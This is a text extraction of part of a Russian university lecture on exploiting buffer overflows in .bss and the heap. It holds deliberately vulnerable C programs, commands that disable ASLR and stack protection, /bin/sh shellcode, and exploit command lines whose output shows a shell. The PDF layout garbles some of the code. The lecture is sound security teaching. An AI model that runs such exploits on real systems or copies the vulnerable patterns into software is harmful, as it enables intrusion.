Лекция 3
.pdfПереполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ ПО ЛЕКЦИЯ 0x03
Браницкий А.А.
Санкт-Петербургский государственный университет телекоммуникаций им. проф. М.А. Бонч-Бруевича
Лекция 3, Санкт-Петербург, 20 октября 2021 г.
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
1/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Содержание
Переполнение буфера в .bss
Переполнение буфера в куче
printf
Эксплойт форматной строки
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
|
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|||||
|
vuln_bss.c |
|
|
|
|
|||
1 |
# include < stdio .h > |
|
./vuln_bss aaa |
|||||
|
||||||||
2 |
# include < string .h > |
|
addr buf: 0x8049840 |
|||||
3 |
# include < stdlib .h > |
|
addr &f: 0x80498a4 |
|||||
4 void |
prt ( char |
*v) |
|
v: aaa |
|
|||
5 |
{ |
|
|
|
|
|
|
|
6 |
printf ("v: %s\n", v); |
|
Разница между адресами |
|||||
7 |
} |
|
|
|
|
|
переменных &f и buf: |
|
8 int |
main (int |
argc , char |
* argv []) |
0x80498a4-0x8049840=100 |
||||
9 |
{ |
|
|
|
|
|
|
|
10 |
if |
( argc != |
2) |
exit (1); |
./vuln_bss \ |
|||
11 |
static |
char |
buf [100]; |
|
`python -c 'print "a" * 99'` |
|||
12 |
static |
void |
(*f)( char |
*); |
addr buf: 0x8049840 |
|||
13 |
printf (" addr buf: %p\n", buf ); |
addr &f: 0x80498a4 |
||||||
14 |
printf (" addr &f: %p\n", &f); |
v: aaa... |
|
|||||
15 |
f = |
prt; |
|
|
|
|
|
|
16 |
strcpy (buf , |
argv [1]); |
|
./vuln_bss \ |
||||
17 |
f(buf ); |
|
|
|
|
`python -c 'print "a" * 100'` |
||
18 |
return |
0; |
|
|
|
addr buf: 0x8049840 |
||
19 |
} |
|
|
|
|
|
addr &f: 0x80498a4 |
|
|
Компиляция |
|
|
|
Segmentation fault |
gcc -g -m32 --static -fno-stack-protector \ -z execstack vuln_bss.c -o vuln_bss
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
2/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_bss.c (отладка)
$ gdb -q --args ./vuln_bss $(python -c 'print "a"* 104')
(gdb) b 16
Breakpoint 1 at 0x80484ca: file vuln_bss.c, line 16.
(gdb) r
Starting program: ...
(gdb) p prt
$1 = {void (char *)} 0x804845b <prt>
(gdb) p f
$2 = (void (*)(char *)) 0x804845b <prt>
(gdb) n
17 f(buf);
(gdb) p f
$3 = (void (*)(char *)) 0x8048400 <register_tm_clones+48>
(gdb) n
Program received signal SIGSEGV, Segmentation fault. 0x08048400 in register_tm_clones ()
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
3/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
|
printf |
Эксплойт форматной строки |
|
|
Адрес переменной окружения |
|
|||
1 |
# include < stdio .h > |
|
./pea SHELLCODE |
||
|
|||||
2 |
# include < stdlib .h > |
|
addr SHELLCODE: 0xffffda2d |
||
3 int main ( int argc , char * argv []) |
|
SHELLCODE=...Phn/shh//bi... |
|||
4 |
{ |
|
|
|
|
5 |
printf (" addr %s: %p\n", |
|
mv pea pea_ |
||
6 |
argv [1] , getenv ( argv [1])); |
|
./pea_ SHELLCODE |
||
7 |
printf ("%s=%s\n", |
|
addr SHELLCODE: 0xffffda2b |
||
8 |
argv [1] , getenv ( argv [1])); |
|
SHELLCODE=...Phn/shh//bi... |
||
9 |
} |
|
|
|
|
|
|
|
|
mv pea_ pea__ |
|
|
|
|
|
./pea__ SHELLCODE |
|
|
|
|
|
addr SHELLCODE: 0xffffda29 |
|
|
Отключение механизма ASLR |
|
SHELLCODE=...Phn/shh//bi... |
||
|
|
||||
|
|
|
|
||
|
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space ' |
Компиляция для 32-битных платформ gcc -m32 print_env_addr.c -o pea
Экспорт переменной окружения
export SHELLCODE=$(echo -e "\x31\xc0\x50\x68\x6e\x2f\x73\x68"\ "\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
4/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Эксплойт переполнения буфера в .bss
Адрес переменной SHELLCODE в программе vuln_bss python -c 'print "{:02x}".format(0xffffda2d - \ (len("./vuln_bss") - len("./pea")) * 2) '
da23
./vuln_bss $(python -c 'print "a" * 100 + \ "\x23\xda\xff\xff"')
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
5/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Результат
$ ./vuln_bss $(python -c 'print "a"* 100 + "\x23\xda\xff\xff"') addr buf: 0x80ea080
addr &f: 0x80ea0e4 $ ls -1 /
bin boot dev etc home
initrd.img
initrd.img.old lib
lib32
lib64
libx32
lost+found media
mnt opt proc root
...
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
6/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|||||||
|
vuln_heap.c |
|
|
|
|
|
||||
1 |
# include < stdio .h > |
|
./vuln_heap aaa |
|||||||
2 |
# include < string .h > |
|
addr buf: 0x80ed608 |
|||||||
3 |
# include < stdlib .h > |
|
addr f: 0x80ed670 |
|||||||
4 void |
prt ( char |
*v) |
|
v: aaa |
|
|
||||
5 |
{ |
|
|
|
|
|
|
|
|
|
6 |
printf ("v: %s\n", v); |
Разница между указателями |
||||||||
7 |
} |
|
|
|
|
|
f è buf: |
|
|
|
8 int |
main (int |
argc , |
char * argv []) |
0x80ed670-0x80ed608=104 |
||||||
9 |
{ |
|
|
|
|
|
|
|
|
|
10 |
if |
( argc |
!= |
2) exit (1); |
./vuln_heap \ |
|
||||
11 |
char *buf |
= |
malloc (100); |
`python -c 'print "a" * 99'` |
||||||
12 |
unsigned |
long *f = |
malloc (4); |
addr buf: 0x80ed608 |
||||||
13 |
*f = ( unsigned long )prt; |
addr f: 0x80ed670 |
||||||||
14 |
printf (" addr buf: %p\n", buf ); |
v: aaa... |
|
|
||||||
15 |
printf (" addr f: %p\n", f); |
|
|
|
|
|||||
16 |
strcpy (buf , |
argv [1]); |
./vuln_heap \ |
|
||||||
17 |
(( void (*)( char *))(* f))( buf ); |
`python -c 'print "a" * 100'` |
||||||||
18 |
free (buf ); |
|
|
|
addr buf: 0x80ed608 |
|||||
19 |
free (f); |
|
|
|
|
addr f: 0x80ed670 |
||||
20 |
return 0; |
|
|
|
|
v: aaa... |
|
|
||
21 |
} |
|
|
|
|
|
*** Error in |
`./vuln_heap': |
||
|
Компиляция: gcc -g -m32 --static \ |
double free or corruption |
||||||||
|
-fno-stack-protector -z execstack \ |
|||||||||
|
vuln_heap.c -o vuln_heap |
|
|
|
|
|
|
|||
|
Браницкий А.А., СПбГУТ |
|
Лекция 3, Санкт-Петербург, 2021 |
|
|
7/26 |
||||
|
|
|
|
|
|
|
|
|
|
|
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_heap.c (отладка)
$ gdb -q --args ./vuln_heap $(python -c 'print "a"* 100')
(gdb) b 18
Breakpoint 1 at 0x8048ef1: file vuln_heap.c, line 18. Starting program: ...
*** Error in `./vuln_heap': double free or corruption
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
8/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Эксплойт переполнения буфера в куче
Адрес переменной SHELLCODE в программе vuln_heap
python -c 'print "{:02x}".format(0xffffda2d - \ (len("./vuln_heap") - len("./pea")) * 2) '
da21
./vuln_heap $(python -c 'print "a" * 104 + \ "\x21\xda\xff\xff"')
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
9/26 |